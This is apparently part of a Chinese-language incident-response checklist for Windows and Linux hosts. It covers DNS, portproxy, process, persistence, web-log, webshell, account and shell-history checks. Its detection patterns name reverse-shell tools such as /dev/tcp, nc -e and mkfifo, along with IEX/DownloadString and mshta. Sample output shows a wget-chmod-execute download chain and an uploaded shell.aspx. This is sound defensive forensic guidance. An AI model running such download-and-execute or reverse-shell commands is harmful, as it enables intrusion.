对应脚本：win_net_config() · 优先级 P2 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 1-1

① **检查目的**

DNS 缓存能反查出主机近期访问过的恶意域名（即使日志已删）； portproxy 是常见的隐蔽隧道。

② **执行命令**

cmd

```
ipconfig /displaydns | findstr /i "Record Name 记录名称"
arp -a
route print -4
netsh interface portproxy show all
type C:\Windows\System32\drivers\etc\hosts
netsh advfirewall show allprofiles state
```

③ **正常样例**

```
    记录名称. . . . . . . . : update.microsoft.com
    记录名称. . . . . . . . : fileserver01.corp.local

接口: 10.1.2.33 --- 0x5
  Internet 地址         物理地址              类型
  10.1.2.1              00-1a-2b-3c-4d-5e     动态

listen port: 8080  connect to: 10.9.9.9:80
```

（输出已截断，仅示意形态）

批
注

第 1 章

④ **异常特征**

看到什么（命中即按右侧级别记录）	级别	来源
portproxy 存在转发规则，且目标为陌生公网 IP（隧道）	严重	**脚本** win_net_config() L4777
hosts 文件存在非默认条目（尤其是把杀软/更新域名指向 127.0.0.1）	严重	**脚本** win_files() L2119
DNS 缓存中出现矿池域名、随机长域名、`.top/.xyz/.tk` 等可疑顶级域	高危	**脚本** win_net_config() L4536
ARP 表中网关 MAC 与基线不一致（ARP 欺骗）	高危	**经验**
路由表存在指向陌生网关的静态路由	中危	**脚本** win_net_config() L4652
DNS 缓存为空（可能刚重启或被清理）	提示	**脚本** win_net_config() L4541

▸ **如何排除误报**

- 运维常用 portproxy 做端口映射，需核对是否为登记配置。
- hosts 中常有软件写入的授权校验条目，属正常。
- ARP 表为动态学习，网关 MAC 变化也可能是设备更换。

⑤ **证据留存**

抄录 portproxy 全部规则、hosts 全文、可疑 DNS 记录名，填入表 1-1；域名/IP 同步进入第 6 章 IOC 表。

1.24 进程与内存深度（跨视图隐藏进程 / 模块链 / 进程树 / Java 内存马线索） P2

对应脚本：win_proc_deep() · 优先级 P2 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 1-1

① **检查目的**

用户态工具看到的进程可能不完整。用两种独立来源交叉比对（WMI 与 tasklist），差异即为隐藏进程线索。

② **执行命令**

ps

```
$a=(Get-CimInstance Win32_Process).ProcessId; $b=(Get-Process).Id; Compare-Object $a $b
Get-Process | Where-Object {$_.Path -eq $null} | Format-Table Id,ProcessName
```

cmd

```
tasklist /m /fi "imagename eq lsass.exe"
wmic process where "name like '%java%'" get ProcessId,CommandLine
```

ps

```
Get-CimInstance Win32_Process | Where-Object {$_.CommandLine -match 'javaagent|agentlib'}
```

③ **正常样例**

```
Id    ProcessName
--    -----------
612   lsass
1024  svchost

lsass.exe      612  ntdll.dll, kernel32.dll, ... , lsasrv.dll

java.exe     4180  ... -javaagent:C:\tomcat\webapps\ROOT\agent.jar
```

（输出已截断，仅示意形态）

④ **异常特征**

看到什么（命中即按右侧级别记录）	级别	来源
两次枚举的 PID 集合存在差集（进程被 hook 隐藏）	严重	**脚本** win_proc_deep() L4980
`Get-Process` 中 `Path` 为空的进程（映像路径被抹除）	严重	**经验**
lsass 加载了非 `System32` 下的 DLL	严重	**经验**
java 进程带 `-javaagent:` 指向 webapps 目录下的 jar（内存马/Agent 注入）	高危	**脚本** _proc_javaagent() L4988
同一 exe 名存在多个不同路径的实例	中危	**经验**
进程数量与基线差异 > 20%	提示	**经验**

▸ **如何排除误报**

- 杀软/EDR 会 hook 进程枚举，产生少量差异属正常，需看差异进程是否为已知安全软件。
- 部分系统进程 Path 为空是权限不足导致，需以管理员重跑。
- APM/监控 Agent 也使用 javaagent，需核对是否为登记组件。

⑤ **证据留存**

抄录差异 PID 清单、Path 为空的进程名、lsass 模块列表中的非系统 DLL、javaagent 完整路径，填入表 1-1；对应文件取 SHA256。

1.25 取证与响应基线（时间线素材 / ATT&CK 映射，只读） P1

对应脚本：r10_baseline_step(win)() · 优先级 P1 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 1-1

① **检查目的**

在任何深入分析前先固化一份「此刻的系统状态」，后续所有判断都以它为参照，也是事后复盘与取证的底稿。

② **执行命令**

cmd

```
mkdir D:\case & systeminfo > D:\case\01_systeminfo.txt
tasklist /v > D:\case\02_tasklist.txt & netstat -ano > D:\case\03_netstat.txt
wevtutil epl System D:\case\System.evtx & wevtutil epl Security D:\case\Security.evtx
reg export HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run D:\case\run.reg /y
certutil -hashfile D:\case\01_systeminfo.txt SHA256 > D:\case\hash.txt
```

③ **正常样例**

```
目录: D:\case
2026/10/19  02:40    <DIR>          .
2026/10/19  02:40         4,182,016 01_systeminfo.txt
2026/10/19  02:41       210,534,400 Security.evtx
SHA256 哈希(文件 D:\case\01_systeminfo.txt):
  8c1d ...
```

（输出已截断，仅示意形态）

④ **异常特征**

看到什么（命中即按右侧级别记录）	级别	来源
尚未做基线固化就开始删除/重启/杀进程（程序性缺陷，导致证据不可用）	严重	**经验**
基线文件生成后未计算哈希（无法证明未被篡改）	高危	**脚本** r10_baseline_step() L27505
`D:\case` 空间不足导致导出中断（需先确认剩余空间）	提示	**脚本** r10_baseline_step() L27505

▸ **如何排除误报**

- 若主机无可写介质，改为外接只读盘或网络共享（需符合「不外联」要求的隔离网段）。
- 导出 evtx 需要管理员权限。
- 时间以主机本地时间为准，必须同时记录时区与 NTP 偏差。

⑤ **证据留存**

本节产出即为表 1-1 的「证据位置」总索引：把 `D:\case` 下所有文件名、大小、SHA256 列成一页清单，附在报告首页。所有后续「证据位置」列只需引用该清单的编号。

1.26 自定义规则 • 哈希库 • PE 与字符串（人工近似） P2

对应脚本：r11_custom_checks() · 优先级 P2 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 1-1

① **检查目的**

脚本用内置规则库批量比对哈希与 PE 特征。纸上无法跑引擎，人工等价做法是：抽样提取特征，再与第 6 章 IOC 表逐条对照。

② **执行命令**

cmd

```
certutil -hashfile "C:\path\suspect.exe" MD5 & certutil -hashfile "C:\path\suspect.exe" SHA256
findstr /i /c:"This program cannot" /c:"UPX" /c:"MZ" "C:\path\suspect.exe"
findstr /i /c:"cmd.exe /c" /c:"powershell" /c:"http" /c:"CreateRemoteThread" "C:\path\suspect.exe"
```

ps

```
Get-Content -Path "C:\path\suspect.exe" -Encoding Byte -TotalCount 2
```

③ **正常样例**

```
MD5 哈希(文件 suspect.exe):
  d41d8cd98f00b204e9800998ecf8427e
SHA256 哈希:
  e3b0c442...

文件头两字节: 4D 5A  (MZ)
```

（输出已截断，仅示意形态）

④ **异常特征**

看到什么（命中即按右侧级别记录）	级别	来源
SHA256 命中第 6 章已知恶意哈希表	严重	**脚本** r11_custom_checks() L18620
文件头非 `MZ` 却以 .exe 命名（伪装/损坏）	高危	**脚本** r11_custom_checks() L18620
同时出现 `UPX` 与 `MZ`（加壳，需进一步确认来源）	高危	**脚本** r11_custom_checks() L18620
可打印串中出现完整 URL 与 `cmd.exe /c` 组合	中危	**脚本** r11_custom_checks() L18620
哈希在公开情报中「无记录」不等于安全（免杀样本常见）	提示	**经验**

▸ **如何排除误报**

- 加壳在游戏、行业软件中常见，需结合签名与来源判断。
- `findstr` 只能抓明文串，对压缩/加密样本阴性无意义。
- 同一程序不同版本哈希不同，需按版本比对。

⑤ **证据留存**

把「文件路径 + MD5 + SHA256 + 文件头 + 关键字符串」抄入表 1-1；哈希与第 6 章 IOC 表逐条比对并记录比对结论（命中/未命中）。

1.27 文件内容特征 • YARA-like • 日志规则（人工近似） P2

对应脚本：r13_rules_checks() · 优先级 P2 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 1-1

① **检查目的**

脚本以「内容特征组合」判分（同类特征命中 ≥2 项才计分）。人工版按同样思路，在站点目录与日志里做多特征交叉确认。

② **执行命令**

cmd

```
findstr /s /i /m /c:"eval(" /c:"Execute(" /c:"Request.Item" C:\inetpub\wwwroot\*.asp
findstr /s /i /m /c:"cmd.exe" /c:"certutil" /c:"bitsadmin" C:\inetpub\wwwroot\*.*
findstr /i /c:"union select" /c:"../" /c:"etc/passwd" C:\inetpub\logs\LogFiles\*.log
```

③ **正常样例**

```
C:\inetpub\wwwroot\upload\a.asp
C:\inetpub\wwwroot\include\conn.asp
```

注（输出已截断，仅示意形态）

④ **异常特征**

看到什么（命中即按右侧级别记录）	级别	来源
同一文件同时命中「执行函数 + 请求对象 + 解码函数」三类特征（≥2 项即可疑）	严重	**脚本** r13_rules_checks() L21328
日志中出现 SQL 注入/路径穿越特征串	高危	**脚本** r13_rules_checks() L21328
单特征命中（可能是正常业务代码），需人工看上下文	中危	**经验**

▸ **如何排除误报**

- `eval` 在经典 ASP 模板引擎中常见，需看是否接收外部参数。
- 日志中的攻击特征多为扫描器噪声，需看是否伴随 200 响应与后续访问。
- 此节为近似口径，脚本的规则库与评分无法在纸上完整复现。

⑤ **证据留存**

记录「文件路径 + 命中特征 + 命中次数」，填入表 1-1；可疑文件按第 4 章逐行审阅，不直接删除。

1.28 Active Setup 持久化面（StubPath 登录即执行，HKLM / HKCU） P2

对应脚本：win_active_setup() · 优先级 P2 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 1-1

① **检查目的**

Active Setup 的设计意图是「每个用户首次登录时执行一次」，被滥用后可对每个新登录用户投放载荷。

② **执行命令**

cmd

```
reg query "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components" /s /v StubPath
reg query "HKCU\SOFTWARE\Microsoft\Active Setup\Installed Components" /s /v StubPath
reg query "HKLM\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components" /s /v StubPath
```

③ **正常样例**

```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11cf-8B85-00AA005B4340}
    StubPath    REG_SZ    C:\Windows\system32\ie4uinit.exe -UserConfig
```

（输出已截断，仅示意形态）

④ **异常特征**

看到什么（命中即按右侧级别记录）	级别	来源
StubPath 调用 `mshta`、`regsvr32 /i:http`、`rundll32 javascript:`、`powershell -enc`	严重	**脚本** win_active_setup() L4290
StubPath 指向 Temp/Public/ProgramData 下的脚本	严重	**脚本** win_active_setup() L4290
组件 GUID 为随机串，且 `IsInstalled=0`（强制每次登录执行）	高危	**经验**
StubPath 指向的文件不存在（残留）	中危	**脚本** win_active_setup() L4296
GUID 为 `{89820200-...}`、`{44BBA840-...}` 等系统内置组件，属正常	提示	**脚本** win_active_setup() L4300

▸ **如何排除误报**

- IE/Edge/Office 安装器会写大量 Active Setup 项，属正常。
- 系统内置 GUID 列表可与同版本健康机比对。
- `IsInstalled=0` 在软件升级期间正常存在。

⑤ **证据留存**

抄录「GUID + StubPath + IsInstalled + 版本号」，填入表 1-1；对指向文件取 SHA256。

1.29 PowerShell Profile 持久化（$PROFILE 各分支存在性与内容特征） P2

对应脚本：win_ps_profiles() · 优先级 P2 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 1-1

① **检查目的**

Profile 脚本在每个 PowerShell 会话启动时自动执行，是「无文件持久化」的轻量载体，普通用户即可写入。

② **执行命令**

ps

```
$PROFILE | Format-List *
$PROFILE.AllUsersAllHosts,$PROFILE.AllUsersCurrentHost,$PROFILE.CurrentUserAllHosts,$PROFILE.CurrentUserCurrentH
ost | ForEach-Object { if(Test-Path $_){ Get-Item $_ | Select FullName,Length,LastWriteTime } }
```

cmd

```
type "%USERPROFILE%\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1"
dir /a /s "%USERPROFILE%\Documents\PowerShell"
```

③ **正常样例**

```
FullName        : C:\Users\admin\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1
Length          : 412
LastWriteTime   : 2026/10/19 2:26:11
```

（输出已截断，仅示意形态）

批注

第一章

批
注

第一章

④ **异常特征**

看到什么（命中即按右侧级别记录）	级别	来源
Profile 内容含 `IEX`、`DownloadString`、`FromBase64String`、`-enc` 解码逻辑	严重	**脚本** win_ps_profiles() L4373
Profile 文件在案发窗口内被创建或修改	高危	**脚本** win_ps_profiles() L4373
Profile 中设置 `$env:PROFILE` 或改写 `prompt` 函数以隐藏输出	高危	**经验**
Profile 中写入计划任务/注册表操作	中危	**脚本** win_ps_profiles() L4373
文件不存在属正常（多数主机没有 Profile）	提示	**脚本** win_ps_profiles() L4380

▸ **如何排除误报**

- 运维会放置统一的 Profile 做快捷函数，属正常，需索取模板对照。
- VSCode / Windows Terminal 可能有独立 Profile 文件，需一并检查。
- `$PROFILE` 在 PowerShell 5.1 与 7 下路径不同，两边都要看。

⑤ **证据留存**

抄录 Profile 四个路径的存在性与最后写入时间，正文全文抄录或截图，填入表 1-1。

1.30 Office / COM 加载项与受信任位置（Addins / *.wll / *.xll / Trusted Locations)

P2

对应脚本：win_office_addins() · 优先级 P2 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 1-1

① **检查目的**

Office 加载项随 Office 启动而加载，可执行任意代码；受信任位置被添加后，其中的宏文件不再弹安全提示。

② **执行命令**

```cmd
reg query "HKCU\SOFTWARE\Microsoft\Office\Word\Addins" /s
reg query "HKCU\SOFTWARE\Microsoft\Office\Excel\Addins" /s
dir /s /b "%APPDATA%\Microsoft\Word\STARTUP" "%APPDATA%\Microsoft\Excel\XLSTART"
reg query "HKCU\SOFTWARE\Microsoft\Office\16.0\Word\Security\Trusted Locations" /s
reg query "HKCU\SOFTWARE\Microsoft\Office\16.0\Excel\Security\Trusted Locations" /s
```

③ **正常样例**

```
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\Word\Addins\Klavier
    LoadBehavior    REG_DWORD    0x3
    Manifest        REG_SZ    file:///C:/Program Files/Klavier/addin.vsto

C:\Users\admin\AppData\Roaming\Microsoft\Word\STARTUP\Normal.dotm
```

（输出已截断，仅示意形态）

④ **异常特征**

看到什么（命中即按右侧级别记录）	级别	来源
加载项 `Manifest/Path` 指向 Temp、Downloads、`%APPDATA%` 根目录	严重	**脚本** win_office_addins() L4411
受信任位置被添加为 `C:\`、`C:\Users\Public`、`%TEMP%` 等宽范围	严重	**脚本** win_office_addins() L4424
STARTUP 目录中存在 .wll/.xll/.dot（非 .dotm 模板）	高危	**经验**
加载项 `LoadBehavior = 3` 且文件无签名	高危	**脚本** win_office_addins() L4414
加载项名称为随机串或伪装成 Microsoft 名称	中危	**经验**

▸ **如何排除误报**

- 输入法、PDF 工具、财务插件常注册 Office 加载项，需核对软件清单。
- 企业会通过组策略下发受信任位置（网络共享），属正常。
- `Normal.dotm` 是 Word 默认模板，存在于 STARTUP 属正常。

⑤ **证据留存**

抄录「加载项名 + 路径/Manifest + LoadBehavior + 签名状态」，以及受信任位置的全部路径，填入表 1-1。

1.31 持久化归因（条目 ← 创建进程 ← 创建时间） P2

对应脚本：win_persist_attribution() · 优先级 P2 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 1-1

① **检查目的**

单看一个启动项无法定性。把「谁创建的、什么时候创建的、创建它的进程是什么」串起来，才能判定是正常安装还是入侵投放。

② **执行命令**

`ps`

```
$p='C:\path\suspect.exe'; Get-Item $p | Select CreationTime,LastWriteTime; Get-AuthenticodeSignature $p | Select Status
Get-CimInstance Win32_Process | Where-Object {$_.ExecutablePath -like '*suspect*'} | Select ProcessId,ParentProcessId,CreationDate,CommandLine
```

`cmd`

```
wmic process where "name='explorer.exe'" get ProcessId,CreationDate
dir /tc "C:\path\"
```

③ **正常样例**

```
CreationTime   : 2026/10/19 2:14:05
LastWriteTime  : 2026/10/19 2:14:05
Status         : NotSigned

ProcessId ParentProcessId CreationDate
     3180            2044 20261019021407.123456+480
```

（输出已截断，仅示意形态）

④ **异常特征**

看到什么（命中即按右侧级别记录）	级别	来源
文件创建时间与某次可疑登录（4624 类型 3/10）在同一分钟内	严重	**脚本** win_persist_attribution() L8384
创建者进程为 `w3wp.exe` / `winword.exe` / `sqlservr.exe`（应用写马）	严重	**脚本** win_persist_attribution() L8384
创建时间集中在凌晨且无变更单	高危	**经验**
创建时间早于系统安装时间（时间戳伪造）	中危	**脚本** win_persist_attribution() L8384
创建者进程已退出，无法归因（需转向日志侧证据）	提示	**脚本** win_persist_attribution() L8384

▸ **如何排除误报**

- 软件批量部署会在同一分钟创建大量文件，需看是否为部署窗口。
- 文件时间可被攻击者篡改（`timestomp`），此时以日志时间为准。
- 进程 CreationDate 在 WMI 中为 UTC 格式，抄录时注明时区。

⑤ **证据留存**

按「条目 → 创建进程 → 创建时间 → 对应登录事件」四列做成一行，填入表 1-1 与第 7 章时间线表；这是全章最有说服力的一条证据链，务必写完整。

1.32 Web 访问日志分析（自动发现 IIS 日志） P1

对应脚本：win_weblog_step() · 优先级 P1 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 1-1

① **检查目的**

从 IIS 日志中定位攻击入口：异常状态码、可疑 URL、扫描特征、上传行为。字段含义与分析方法见第 3 章。

② **执行命令**

```cmd
dir /s /b C:\inetpub\logs\LogFiles\W3SVC*
findstr /i "cmd.exe powershell" C:\inetpub\logs\LogFiles\W3SVC1\*.log
findstr /i ".asp .aspx .ashx" C:\inetpub\logs\LogFiles\W3SVC1\*.log | findstr /i "POST"
findstr /i " 500 " C:\inetpub\logs\LogFiles\W3SVC1\*.log
```

③ **正常样例**

```
#Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) sc-status
2026-10-19 02:11:03 10.1.2.33 POST /upload.aspx - 80 - 45.x.x.x Mozilla/5.0 200
2026-10-19 02:11:09 10.1.2.33 GET /upload/shell.aspx - 80 - 45.x.x.x Mozilla/5.0 200
```

（输出已截断，仅示意形态）

④ **异常特征**

看到什么（命中即按右侧级别记录）	级别	来源
同一 c-ip 在短时间内大量 404 后出现 200 的 .aspx/.asp 请求（上传成功）	严重	**脚本** win_weblog_step() L17182
`cs-uri-stem` 含 `cmd=`、`exec`、`shell`、`upload`、`config` 等敏感词且返回 200	高危	**脚本** win_weblog_step() L17182
`cs(User-Agent)` 为 sqlmap/nikto/curl/python-requests 等工具特征	高危	**脚本** win_weblog_step() L17182
大量 500 错误集中在同一 URL（可能在试注入）	中危	**脚本** win_weblog_step() L17182
日志时间与系统时间不一致（时区/时钟被改）	提示	**脚本** win_weblog_step() L17182

▸ **如何排除误报**

- CDN/反向代理会让 c-ip 全部变成代理 IP，需看 `X-Forwarded-For`（IIS 需装 Advanced Logging）。
- 健康检查与监控会产生大量固定 UA 请求，属噪声。
- IIS 日志默认按天切割，跨天攻击需合并多份日志看。

⑤ **证据留存**

按第 3 章表格抄录「时间 + 源 IP + 方法 + URL + 状态码 + UA」，把首次成功请求的时间作为入侵起点写入第 7 章时间线；日志文件本身复制并计算 SHA256。

1.33 Web 站点目录内容查杀（自动发现站点根）

P1

对应脚本：win_webshell_step() · 优先级 P1 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 1-1

① **检查目的**

日志只能证明「有请求」，落地文件才是确证。按时间、扩展名、内容特征三个维度筛站点目录。

② **执行命令**

cmd

```
for /r C:\inetpub\wwwroot %i in (*.asp *.aspx *.ashx *.asmx *.php *.jsp) do @echo %~ti %~zi %i
dir /s /b /o-d C:\inetpub\wwwroot | findstr /i ".asp .aspx .ashx .php .jsp .exe .dll"
findstr /s /i /m /c:"eval(" /c:"Execute(" /c:"Request(" C:\inetpub\wwwroot\*.asp
dir /a C:\inetpub\wwwroot\upload
```

③ **正常样例**

```
2026/10/19  02:11         1,204 C:\inetpub\wwwroot\upload\shell.aspx
2026/10/19  02:11           892 C:\inetpub\wwwroot\images\logo.jpg
2026/09/02  10:33        18,442 C:\inetpub\wwwroot\Default.aspx
```

（输出已截断，仅示意形态）

批注

第一章

④ **异常特征**

看到什么（命中即按右侧级别记录）	级别	来源
近期新增的 .aspx/.asp 文件位于 upload/images/css 等静态目录	严重	**脚本** win_webshell_step() L17187
图片文件（.jpg/.png）内容中出现 `<%`、`<?php`、`eval`	严重	**脚本** win_webshell_step() L17187
文件名随机（8 位以上无意义）或伪装（`1.aspx`、`a.asp`、`test.aspx`）	高危	**脚本** win_webshell_step() L17187
正常业务文件被修改（修改时间晚于上线时间且无变更单）	中危	**脚本** win_webshell_step() L17187
目录中出现 `.zip`/`.rar` 打包文件（可能为打包下载工具）	提示	**脚本** win_webshell_step() L17187

▸ **如何排除误报**

- CMS 自动更新会产生新文件，需核对版本发布时间。
- 编辑器/备份插件会生成临时 aspx，属已知行为。
- `dir /s` 在超大站点上耗时较长，可先限定 upload/uploadfiles 等可写目录。

⑤ **证据留存**

记录「路径 + 大小 + 修改时间 + 首行内容」，填入表 1-1；按第 4 章逐个人工审阅，确认后再按第 7.5 节处置，切勿先删。

表 1-1 第 1 章检查结果汇总

共 33 行 | 每检查完一项立即填写，不要事后回忆

批注

第一章

#	检查项	结果	证据位置	备注
1	1.1 系统与补丁信息	□正常 □异常		
2	1.2 账号与登录安全	□正常 □异常		
3	1.3 启动项与自启动目录	□正常 □异常		
4	1.4 计划任务	□正常 □异常		
5	1.5 系统服务与驱动服务	□正常 □异常		
6	1.6 进程、端口与网络连接	□正常 □异常		
7	1.7 文件系统与隐藏文件	□正常 □异常		
8	1.8 事件日志分析	□正常 □异常		
9	1.9 深度事件日志（PS 脚本块 / Sysmon / WMI 活动 / 任务计划 / Defender / RDP / 防火墙）	□正常 □异常		
10	1.10 安全日志增强（登录类型 / 特权与显式凭据 / Kerberos / 共享访问 / DCSync / 日志清空）	□正常 □异常		
11	1.11 WMI 事件订阅持久化	□正常 □异常		
12	1.12 LSA / 打印 / 网络劫持点	□正常 □异常		
13	1.13 BITS 后台传输任务	□正常 □异常		
14	1.14 杀软与防护状态	□正常 □异常		
15	1.15 凭据与自动登录配置	□正常 □异常		
16	1.16 代理 / DNS / UAC / RDP / WinRM 配置	□正常 □异常		
17	1.17 共享与会话（横向移动）	□正常 □异常		
18	1.18 进程树与异常进程	□正常 □异常		

（续）第 19 页起为第 19–33 行，共 33 行

#	检查项	结果	证据位置	备注
19	1.19 可疑程序取证画像	□正常 □异常		
20	1.20 驱动、根证书与防火墙规则	□正常 □异常		
21	1.21 Windows 提权面（未引用服务路径 / AlwaysInstallElevated / 失败恢复 / 隐藏任务）	□正常 □异常		
22	1.22 高级劫持持久化面（辅助功能 / COM / Shell 扩展 / 打印处理器 / 时间·凭据·网络提供者 / Winlogon / BootExecute·RunOnceEx / GPO 脚本）	□正常 □异常		
23	1.23 网络与配置面（DNS 缓存情报 / ARP / 路由 / 防火墙配置档 / 端口转发）	□正常 □异常		
24	1.24 进程与内存深度（跨视图隐藏进程 / 模块链 / 进程树 / Java 内存马线索）	□正常 □异常		
25	1.25 取证与响应基线（时间线素材 / ATT&CK 映射，只读）	□正常 □异常		
26	1.26 自定义规则 · 哈希库 · PE 与字符串（人工近似）	□正常 □异常		
27	1.27 文件内容特征 · YARA-like · 日志规则（人工近似）	□正常 □异常		
28	1.28 Active Setup 持久化面（StubPath 登录即执行，HKLM / HKCU）	□正常 □异常		
29	1.29 PowerShell Profile 持久化（$PROFILE 各分支存在性与内容特征）	□正常 □异常		
30	1.30 Office / COM 加载项与受信任位置（Addins / *.wll / *.xll / Trusted Locations）	□正常 □异常		
31	1.31 持久化归因（条目 ← 创建进程 ← 创建时间）	□正常 □异常		
32	1.32 Web 访问日志分析（自动发现 IIS 日志）	□正常 □异常		
33	1.33 Web 站点目录内容查杀（自动发现站点根）	□正常 □异常		

CHAPTER 2 / Linux

第 2 章 Linux 主机排查

批注

Linux 本章 32 个检查项与 er_check.py 的 LINUX_STEPS 一一对应、顺序一致。标 [root] 的命令需 root 或 sudo。

2.1 系统与内核信息

P1

对应脚本：linux_env_info() · 优先级 P1 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 2-1

① 检查目的

确认发行版、内核版本与启动时间，判断是否存在长期未修补的内核漏洞（提权/容器逃逸），以及是否在案发窗口内被重启。

② 执行命令

```bash
uname -a; cat /etc/os-release | head -6; hostname; uptime
cat /proc/version; date; timedatectl 2>/dev/null | head -4
last reboot | head -5
ls -l /boot/vmlinuz-$(uname -r) 2>/dev/null
```

③ 正常样例

```
Linux web01 5.4.0-152-generic #169-Ubuntu SMP x86_64 GNU/Linux
PRETTY_NAME="Ubuntu 20.04.6 LTS"
VERSION_ID="20.04"
 10:22:03 up 12 days,  3:41,  2 users,  load average: 0.08, 0.12, 0.09
reboot   system boot  5.4.0-152-generic Wed Oct  7 06:41   still running
```

（输出已截断，仅示意形态）

④ 异常特征

看到什么（命中即按右侧级别记录）	级别	来源
Ubuntu 18.04 / 20.04 且内核 < 5.4 未打补丁、OverlayFS 已启用（CVE-2021-3493 本地提权）；其他发行版按各自 CVE 清单核对内核滞后	高危	经验
内核为 `3.10.0-xxx` 等长期未更新的 CentOS 7 内核，且对外暴露服务	高危	经验
启动时间在案发窗口内且非计划内重启（内存痕迹丢失）	中危	经验
`uname -a` 与 `/boot/vmlinuz-$(uname -r)` 不存在对应文件（内核被替换）	中危	经验
系统时间与 NTP 偏差 > 5 分钟（会影响日志时间线）	提示	经验

说明：本节判据均为经验补充；脚本 `linux_env_info()` 只做信息采集与原始输出，不做本表判定。

▸ **如何排除误报**

- 云主机内核由云厂商维护，版本号可能滞后但已打补丁。
- `last reboot` 依赖 wtmp，被清理时为空，需结合 `uptime` 判断。
- 容器内执行时看到的是宿主内核，属正常。

⑤ **证据留存**

抄录 `uname -a` 全行、发行版版本号、启动时刻，填入表 2-1；启动时刻写入第 7 章时间线作为基线。

批

注

2.2 账号与登录安全

P1

对应脚本：linux_accounts() · 优先级 P1 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 2-1

① **检查目的**

发现 UID=0 的隐藏超级用户、可登录的空口令账号、异常 sudo 授权，以及新增的普通账号。

② **执行命令**

```bash
cat /etc/passwd
awk -F: '$3==0 {print $1,$3,$6,$7}' /etc/passwd
awk -F: '$3>=1000 && $3<65534 {print $1,$3,$6,$7}' /etc/passwd
sudo awk -F: '$2!="*" && $2!="!!" && $2!="" {print $1,$2}' /etc/shadow
grep -v '^#' /etc/sudoers; ls -l /etc/sudoers.d/; cat /etc/sudoers.d/* 2>/dev/null
lastlog 2>/dev/null | head -20
```

③ **正常样例**

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
webadmin:x:1000:1000::/home/webadmin:/bin/bash

root $6$rounds=...
webadmin $6$...
```

（输出已截断，仅示意形态）

④ **异常特征**

看到什么（命中即按右侧级别记录）	级别	来源
存在多个 UID=0 的账号（除 root 外）	严重	**脚本** linux_accounts() L10867
存在 UID=0 且可登录 shell（非 nologin）的账号	严重	**脚本** linux_accounts() L10867
`/etc/shadow` 中某账号密码字段为空（空口令可登录）	高危	**脚本** linux_accounts() L10869
`sudoers` 中新增 `ALL=(ALL) NOPASSWD: ALL` 的普通账号	高危	**脚本** linux_accounts() L10944
`/etc/passwd` 中出现近期新增账号（与 `/etc/passwd-` 对比）	中危	**脚本** linux_accounts() L10954
账号 shell 为 `/bin/bash` 但从未登录（`lastlog` 显示 **Never logged in**）	提示	**经验**

▸ **如何排除误报**

- 服务账号常使用 `/usr/sbin/nologin` 且 UID < 1000，属正常。
- 容器镜像内 UID 映射与宿主机不同，需在宿主上核对。
- `/etc/passwd-` 是修改前的备份，可直接 diff 出新增账号。

⑤ **证据留存**

抄录完整 `/etc/passwd` 与 UID=0 名单，逐一填入表 2-1；可疑账号记录 home 目录创建时间（`stat`）与 `lastlog` 结果。`/etc/shadow` 只记录「是否为空口令」，不抄哈希。

批注

2.3 命令历史

P1

对应脚本：linux_history() · 优先级 P1 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 2-1

① **检查目的**

攻击者执行过的下载、赋权、反弹、清痕命令，多数会留在 history 里；history 被清空本身就是强信号。

② **执行命令**

```bash
ls -la ~/.bash_history; wc -l ~/.bash_history
tail -200 ~/.bash_history
grep -inE 'wget|curl|chmod \+x|base64 -d|/dev/tcp|nc -e|python -c|history -c|HISTFILE' ~/.bash_history
sudo find /root /home -name '*history*' -type f -mtime -30 2>/dev/null
cat /etc/profile | grep -iE 'HISTSIZE|HISTFILE'; ls -la /etc/profile.d/
```

③ **正常样例**

```
webadmin@web01:~$ tail -5 .bash_history
cd /var/www/html
wget http://45.x.x.x/a.sh
chmod +x a.sh
./a.sh
exit
```

（输出已截断，仅示意形态）

④ **异常特征**

看到什么（命中即按右侧级别记录）	级别	来源
history 中出现 `history -c`、`unset HISTFILE`、`HISTFILE=/dev/null`、`ln -sf /dev/null ~/.bash_history`	严重	**脚本** linux_history() L11004
「下载 → 赋权 → 执行」三段式连续出现（wget/curl + chmod +x + ./）	严重	**脚本** linux_history() L10986
出现 `base64 -d`、`python -c`、`perl -e` 等解码执行链	高危	**脚本** linux_history() L10986
`/dev/tcp/`、`nc -e`、`mkfifo` 反弹 shell 特征	高危	**脚本** linux_history() L10986
history 文件时间为案发时段，但内容只有几条（被裁剪）	中危	**经验**
主机长期运行而 history 为空或极少	提示	**经验**

